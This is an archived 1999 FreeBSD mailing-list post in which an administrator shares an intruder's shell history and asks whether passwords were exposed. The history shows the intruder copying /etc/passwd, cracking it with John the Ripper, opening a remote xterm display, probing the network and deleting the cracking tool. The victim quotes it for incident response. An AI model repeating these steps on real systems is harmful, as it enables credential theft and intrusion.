From owner-freebsd-questions  Wed Mar 24  2:21:44 1999
Delivered-To: freebsd-questions@freebsd.org
Received: from center (center.oaep.go.th [202.44.64.4])
	by hub.freebsd.org (Postfix) with SMTP id B147D14F24
	for <questions@FreeBSD.ORG>; Wed, 24 Mar 1999 02:18:43 -0800 (PST)
	(envelope-from pirat@oaep.go.th)
Received: from prime.oaep.go.th by center (SMI-8.6/SMI-SVR4)
	id RAA28602; Wed, 24 Mar 1999 17:16:30 -0700
Received: (from pirat@localhost)
	by prime.oaep.go.th (8.9.3/8.9.3) id RAA08072
	for questions@FreeBSD.ORG; Wed, 24 Mar 1999 17:18:36 +0700 (ICT)
Message-ID: <XFMail.990324171835.pirat@center.oaep.go.th>
X-Mailer: XFMail 1.3 [p0] on FreeBSD
X-Priority: 3 (Normal)
Disposition-Notification-To: pirat@center.oaep.go.th
X-Chameleon-Return-To: pirat@center.oaep.go.th
X-XFmail-Return-To: pirat@center.oaep.go.th
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8bit
MIME-Version: 1.0
Date: Wed, 24 Mar 1999 17:18:35 +0700 (ICT)
Reply-To: pirat@center.oaep.go.th
Organization: oaep, radwaste disposal
From: pirat@center.oaep.go.th
To: questions@FreeBSD.ORG
Subject: /etc/passwd file
Sender: owner-freebsd-questions@FreeBSD.ORG
Precedence: bulk
X-Loop: FreeBSD.ORG

hi,

i notice recently that some one is using my /etc/passwd file, please see the
following history.


===begin===
ls -l
cd /etc
ls *host*
ls -l | less
ls -l | more
w
l s-l
cd
ls -l
rm M-cjohn-1.5.tar.gz
ls -l
rm *.gz
ls
cd john-1.5
ls -l
cd run
l s-l
ls -l
cp /etc/passwd .
ls -l
./john -single passwd
ls -l
cat password.lst
^X
ls -l
cd ..
ls -l
cd doc
pico .
w
xterm -display 202.44.64.146:0.0 &
set
env
ping 202.44.64.146
ping 202.44.64.145
pwd
l s-l
ls -l
cd ../run
l s-l
ls -l
mv passwd passwd.1
john -single passwd
./john -single passwd
pico
pwd
ls -l
./john -si passwd.1
./john -show passwd.1
cat passwd.1
ls -l
cd /etc
ls -l sha*
ls
ls -l passwd*
ls -l sh*
cd
pico
pwd
l s-l
ls -l
rm -rf john-1.5
l s-l
ls -l
ping center
ping 202.44.64.144
arp -a
ping 202.44.64.144
cd /etc
ls -l hos*
cat host.conf
cat hosts
ls -l
pilot
exit
===end of history===


shall he finally know the user's password from the sequence of his action shown
above ?

apologize me for asking this kind of question here.  but many thanks in advance.


with regards,
psr
----------------------------------
E-Mail: pirat@center.oaep.go.th
Date: 24-Mar-99
Time: 17:06:20

This message was sent by XFMail
----------------------------------


To Unsubscribe: send mail to majordomo@FreeBSD.org
with "unsubscribe freebsd-questions" in the body of the message